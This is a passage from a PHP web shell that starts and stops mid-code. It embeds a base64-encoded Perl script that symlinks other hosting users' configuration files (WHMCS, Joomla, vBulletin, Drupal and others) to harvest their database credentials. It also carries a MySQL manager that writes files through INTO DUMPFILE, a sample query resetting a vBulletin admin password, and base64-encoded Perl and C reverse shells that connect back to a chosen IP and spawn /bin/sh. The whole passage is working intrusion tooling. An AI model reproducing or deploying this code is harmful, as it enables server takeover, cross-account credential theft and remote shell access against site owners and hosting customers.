EuJy1zdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHAvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VwcC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NlY3VyZS93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLXdobS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jcGFuZWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictcGFuZWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictaG9zdGluZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJy13aG1jczIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50ZXMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobS1tYW5hZ2UudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobS1teS50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobS1teXNob3AudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsJGtvbGEuJy16ZW5jYXJ0LnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC96ZW5jYXJ0L2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXplbmNhcnQudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHAnLCRrb2xhLictc21mLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLXNtZjIudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYtZm9ydW0udHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtcy9TZXR0aW5ncy5waHAnLCRrb2xhLictc21mLWZvcnVtcy50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictdXAudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYXJ0aWNsZS9jb25maWcucGhwJywka29sYS4nLU53YWh5LnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC91cC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXVwMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLictNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nLVBIUC1GdXNpb24udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLictOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXRyYWlkbnQxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLictNGltYWdlcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJGtvbGEuJy1EcnVwYWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLTFtZW1iZXIudHh0JykgOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5ncy50eHQnKSA7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VwcG9ydHMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcmVxdWlyZXMvY29uZmlnLnBocCcsJGtvbGEuJy1BTTRTUy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywka29sYS4nLWhvc3RiaWxscy1zdXBwb3J0cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRrb2xhLictaG9zdGJpbGxzLWNsaWVudC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2luY2x1ZGVzL2lzbzQyMTcucGhwJywka29sYS4nLWhvc3RiaWxscy1zdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRrb2xhLictaG9zdGJpbGxzLWJpbGxpbmcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRrb2xhLictaG9zdGJpbGxzLWJpbGxpbmdzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3QvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRrb2xhLictaG9zdGJpbGxzLWhvc3QudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdHMvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRrb2xhLictaG9zdGJpbGxzLWhvc3RzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRrb2xhLictaG9zdGJpbGxzLWhvc3RpbmcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdGluZ3MvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRrb2xhLictaG9zdGJpbGxzLWhvc3RpbmdzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2lzbzQyMTcucGhwJywka29sYS4nLWhvc3RiaWxscy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0YmlsbHMvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRrb2xhLictaG9zdGJpbGxzLWhvc3RiaWxscy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0YmlsbC9pbmNsdWRlcy9pc280MjE3LnBocCcsJGtvbGEuJy1ob3N0YmlsbHMtaG9zdGJpbGwudHh0Jyk7DQoNCn0NCmlmICgkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICdQT1NUJykgew0KICByZWFkKFNURElOLCAkYnVmZmVyLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCn0gZWxzZSB7DQogICRidWZmZXIgPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCn0NCkBwYWlycyA9IHNwbGl0KC8mLywgJGJ1ZmZlcik7DQpmb3JlYWNoICRwYWlyIChAcGFpcnMpIHsNCiAgKCRuYW1lLCAkdmFsdWUpID0gc3BsaXQoLz0vLCAkcGFpcik7DQogICRuYW1lID1+IHRyLysvIC87DQogICRuYW1lID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICR2YWx1ZSA9fiB0ci8rLyAvOw0KICAkdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiAgJEZPUk17JG5hbWV9ID0gJHZhbHVlOw0KfQ0KaWYgKCRGT1JNe3Bhc3N9IGVxICIiKXsNCnByaW50ICcNCjxib2R5IGNsYXNzPSJuZXdTdHlsZTEiPg0KPHA+LjogRGFtYW5lMjAxMS1EeiA6LjwvcD4NCjxwPkRhbWFuZS1EekBob3RtYWlsLmNvbTwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MjBweCI+PC90ZXh0YXJlYT4NCjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzdWJtaXQiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz48YnIgLz4NCjxwPk1vZGlmaWVkIEJ5IERhbWFuZTIwMTEtRHo8L3A+DQo8L2Zvcm0+JzsNCn1lbHNlew0KQGxpbmVzID08JEZPUk17cGFzc30+Ow0KJHkgPSBAbGluZXM7DQpvcGVuIChNWUZJTEUsICI+dGFyLnRtcCIpOw0KcHJpbnQgTVlGSUxFICJ0YXIgLWN6ZiAiLiRGT1JNe3Rhcn0uIi50YXIgIjsNCmZvciAoJGthPTA7JGthPCR5OyRrYSsrKXsNCndoaWxlKEBsaW5lc1ska2FdICA9fiBtLyguKj8pOng6L2cpew0KJmxpbCgkMSk7DQpwcmludCBNWUZJTEUgJDEuIi50eHQgIjsNCmZvcigka2Q9MTska2Q8MTg7JGtkKyspew0KcHJpbnQgTVlGSUxFICQxLiRrZC4iLnR4dCAiOw0KfQ0KfQ0KIH0NCnByaW50Jzxib2R5IGNsYXNzPSJuZXdTdHlsZTEiPg0KPHA+RG9uZSAhITwvcD4NCjxwPiZuYnNwOzwvcD4nOw0KaWYoJEZPUk17dGFyfSBuZSAiIil7DQpvcGVuKElORk8sICJ0YXIudG1wIik7DQpAbGluZXMgPTxJTkZPPiA7DQpjbG9zZShJTkZPKTsNCnN5c3RlbShAbGluZXMpOw0KcHJpbnQnPHA+PGEgaHJlZj0iJy4kRk9STXt0YXJ9LicudGFyIj5DbGljayBoZXJlIDIgZG93bmxvYWQgdGFyIGZpbGU8L2E+PC9wPic7DQp9DQp9DQogcHJpbnQiDQo8L2JvZHk+DQo8L2h0bWw+Ijs=';$config = fopen("config.dam" ,"w+");$write = fwrite ($config ,base64_decode($configshell));fclose($config);chmod("config.dam",0755);echo " ";}elseif ($action == 'sqlfile') { if($doing=="mysqlupload"){ $file = $_FILES['uploadfile']; $filename = $file['tmp_name']; if (file_exists($savepath)) { m('The goal file has already existed'); } else { if(!$filename) { m('Please choose a file'); } else { $fp=@fopen($filename,'r'); $contents=@fread($fp, filesize($filename)); @fclose($fp); $contents = bin2hex($contents); if(!$upname) $upname = $file['name']; dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';"); m($result ? 'Upload success' : 'Upload has failed: '.mysql_error()); } } }?><?php !$dbhost && $dbhost = 'localhost'; !$dbuser && $dbuser = 'root'; !$dbport && $dbport = '3306'; $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1'); formhead(array('title'=>'MYSQL Information','name'=>'dbinfo')); makehide('action','sqlfile'); p('

'); p('DBHost:'); makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); p(':'); makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); p('DBUser:'); makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); p('DBPass:'); makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); p('DBName:'); makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname)); p('DBCharset:'); makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset)); p('

'); formfoot(); p('
'); p('

Upload file

'); p('

This operation the DB user must has FILE privilege

'); p('

Save path(fullpath): Choose a file: Upload

'); p('

Download file

'); p('

File: Download

'); makehide('dbhost'); makehide('dbport'); makehide('dbuser'); makehide('dbpass'); makehide('dbname'); makehide('charset'); makehide('doing'); makehide('action','sqlfile'); p('');}elseif ($action == 'sqladmin') { !$dbhost && $dbhost = 'localhost'; !$dbuser && $dbuser = 'root'; !$dbport && $dbport = '3306'; $dbform = ''; if(isset($dbhost)){ $dbform .= "\n"; } if(isset($dbuser)) { $dbform .= "\n"; } if(isset($dbpass)) { $dbform .= "\n"; } if(isset($dbport)) { $dbform .= "\n"; } if(isset($dbname)) { $dbform .= "\n"; } if(isset($charset)) { $dbform .= "\n"; } if ($doing == 'backupmysql' && $saveasfile) { if (!$table) { m('Please choose the table'); } else { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); $table = array_flip($table); $fp = @fopen($path,'w'); if ($fp) { $result = q('SHOW tables'); if (!$result) p('

'.mysql_error().'

'); $mysqldata = ''; while ($currow = mysql_fetch_array($result)) { if (isset($table[$currow[0]])) { sqldumptable($currow[0], $fp); } } fclose($fp); $fileurl = str_replace(SA_ROOT,'',$path); m('Database has success backup to '.$path.''); mysql_close(); } else { m('Backup failed'); } } } if ($insert && $insertsql) { $keystr = $valstr = $tmp = ''; foreach($insertsql as $key => $val) { if ($val) { $keystr .= $tmp.$key; $valstr .= $tmp."'".addslashes($val)."'"; $tmp = ','; } } if ($keystr && $valstr) { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error()); } } if ($update && $insertsql && $base64) { $valstr = $tmp = ''; foreach($insertsql as $key => $val) { $valstr .= $tmp.$key."='".addslashes($val)."'"; $tmp = ','; } if ($valstr) { $where = base64_decode($base64); dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error()); } } if ($doing == 'del' && $base64) { $where = base64_decode($base64); $delete_sql = "DELETE FROM $tablename WHERE $where"; dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error()); } if ($tablename && $doing == 'drop') { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); if (q("DROP TABLE $tablename")) { m('Drop table of success'); $tablename = ''; } else { m(mysql_error()); } } $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1'); formhead(array('title'=>'MYSQL Manager')); makehide('action','sqladmin'); p('

'); p('DBHost:'); makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); p(':'); makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); p('DBUser:'); makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); p('DBPass:'); makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); p('DBCharset:'); makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset)); makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt')); p('

'); formfoot();?><?php // SQL formhead(array('name'=>'recordlist')); makehide('doing'); makehide('action','sqladmin'); makehide('base64'); makehide('tablename'); p($dbform); formfoot(); // Data formhead(array('name'=>'setdbname')); makehide('action','sqladmin'); p($dbform); if (!$dbname) { makehide('dbname'); } formfoot(); formhead(array('name'=>'settable')); makehide('action','sqladmin'); p($dbform); makehide('tablename'); makehide('page',$page); makehide('doing'); formfoot(); $cachetables = array(); $pagenum = 30; $page = intval($page); if($page) { $start_limit = ($page - 1) * $pagenum; } else { $start_limit = 0; $page = 1; } if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) { dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); // get mysql server $mysqlver = mysql_get_server_info(); p('

MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'

'); $highver = $mysqlver > '4.1' ? 1 : 0; // Show database $query = q("SHOW DATABASES"); $dbs = array(); $dbs[] = '-- Select a database --'; while($db = mysql_fetch_array($query)) { $dbs[$db['Database']] = $db['Database']; } makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1)); $tabledb = array(); if ($dbname) { p('

'); p('Current dababase: '.$dbname.''); if ($tablename) { p(' | Current Table: '.$tablename.' [ Insert | Structure | Drop ]'); } p('

'); mysql_select_db($dbname); $getnumsql = ''; $runquery = 0; if ($sql_query) { $runquery = 1; } $allowedit = 0; if ($tablename && !$sql_query) { $sql_query = "SELECT * FROM $tablename"; $getnumsql = $sql_query; $sql_query = $sql_query." LIMIT $start_limit, $pagenum"; $allowedit = 1; } p('
'); p('

Domains Users Symlink
This is the hidden content, please
'.$user['name']." symlink
Run SQL query/queries on database '.$dbname.':
Example VBB Password: vbateam
UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\'
'); makehide('tablename', $tablename); makehide('action','sqladmin'); p($dbform); p(''); if ($tablename || ($runquery && $sql_query)) { if ($doing == 'structure') { $result = q("SHOW COLUMNS FROM $tablename"); $rowdb = array(); while($row = mysql_fetch_array($result)) { $rowdb[] = $row; } p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); foreach ($rowdb as $row) { $thisbg = bg(); p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); } tbfoot(); } elseif ($doing == 'insert' || $doing == 'edit') { $result = q('SHOW COLUMNS FROM '.$tablename); while ($row = mysql_fetch_array($result)) { $rowdb[] = $row; } $rs = array(); if ($doing == 'insert') { p('

Insert new line in '.$tablename.' table »

'); } else { p('

Update record in '.$tablename.' table »

'); $where = base64_decode($base64); $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1"); $rs = mysql_fetch_array($result); } p(''); p($dbform); makehide('action','sqladmin'); makehide('tablename',$tablename); p('
FieldTypeNullKeyDefaultExtra
'.$row['Field'].''.$row['Type'].''.$row['Null'].' '.$row['Key'].' '.$row['Default'].' '.$row['Extra'].' 
'); foreach ($rowdb as $row) { if ($rs[$row['Field']]) { $value = htmlspecialchars($rs[$row['Field']]); } else { $value = ''; } $thisbg = bg(); p(''); p(''); } if ($doing == 'insert') { p(''); } else { p(''); makehide('base64', $base64); } p('
'.$row['Field'].'

'.$row['Type'].'

'); } else { $querys = @explode(';',$sql_query); foreach($querys as $num=>$query) { if ($query) { p("

Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."

"); switch(qy($query)) { case 0: p('

Error : '.mysql_error().'

'); break; case 1: if (strtolower(substr($query,0,13)) == 'select * from') { $allowedit = 1; } if ($getnumsql) { $tatol = mysql_num_rows(q($getnumsql)); $multipage = multi($tatol, $pagenum, $page, $tablename); } if (!$tablename) { $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query))); $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line); preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches); $tablename = $matches[1][0]; } $result = q($query); p($multipage); p(''); p(''); if ($allowedit) p(''); $fieldnum = @mysql_num_fields($result); for($i=0;$i$name

$type($len)"); } p('

'); while($mn = @mysql_fetch_assoc($result)){ $thisbg = bg(); p(''); $where = $tmp = $b1 = ''; foreach($mn as $key=>$inside){ if ($inside) { $where .= $tmp.$key."='".addslashes($inside)."'"; $tmp = ' AND '; } $b1 .= ''; } $where = base64_encode($where); if ($allowedit) p(''); p($b1); p(''); unset($b1); } tbfoot(); p($multipage); break; case 2: $ar = mysql_affected_rows(); p('

affected rows : '.$ar.'

'); break; } } } } } else { $query = q("SHOW TABLE STATUS"); $table_num = $table_rows = $data_size = 0; $tabledb = array(); while($table = mysql_fetch_array($query)) { $data_size = $data_size + $table['Data_length']; $table_rows = $table_rows + $table['Rows']; $table['Data_length'] = sizecount($table['Data_length']); $table_num++; $tabledb[] = $table; } $data_size = sizecount($data_size); unset($table); p('
Action
'.html_clean($inside).'  Edit | Del
'); p(''); makehide('action','sqladmin'); p($dbform); p(''); p(''); p(''); p(''); p(''); p(''); p(''); if ($highver) { p(''); p(''); } p(''); foreach ($tabledb as $key => $table) { $thisbg = bg(); p(''); p(''); p(''); p(''); p(''); p(''); p(''); if ($highver) { p(''); p(''); } p(''); } p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(""); makehide('doing','backupmysql'); formfoot(); p("
NameRowsData_lengthCreate_timeUpdate_timeEngineCollation
'.$table['Name'].' [ Insert | Structure | Drop ]'.$table['Rows'].''.$table['Data_length'].''.$table['Create_time'].''.$table['Update_time'].''.$table['Engine'].''.$table['Collation'].'
 Total tables: '.$table_num.''.$table_rows.''.$data_size.' 
Save as file
"); fr($query); } } } tbfoot(); @mysql_close();}//end sql backupelseif ($action == 'backconnect') { !$yourip && $yourip = $_SERVER['REMOTE_ADDR']; !$yourport && $yourport = '12345'; $usedb = array('perl'=>'perl','c'=>'c'); $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; if ($start && $yourip && $yourport && $use){ if ($use == 'perl') { cf('/tmp/angel_bc',$back_connect); $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &"); } else { cf('/tmp/angel_bc.c',$back_connect_c); $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); @unlink('/tmp/angel_bc.c'); $res = execute("/tmp/angel_bc $yourip $yourport &"); } m("Now script try connect to 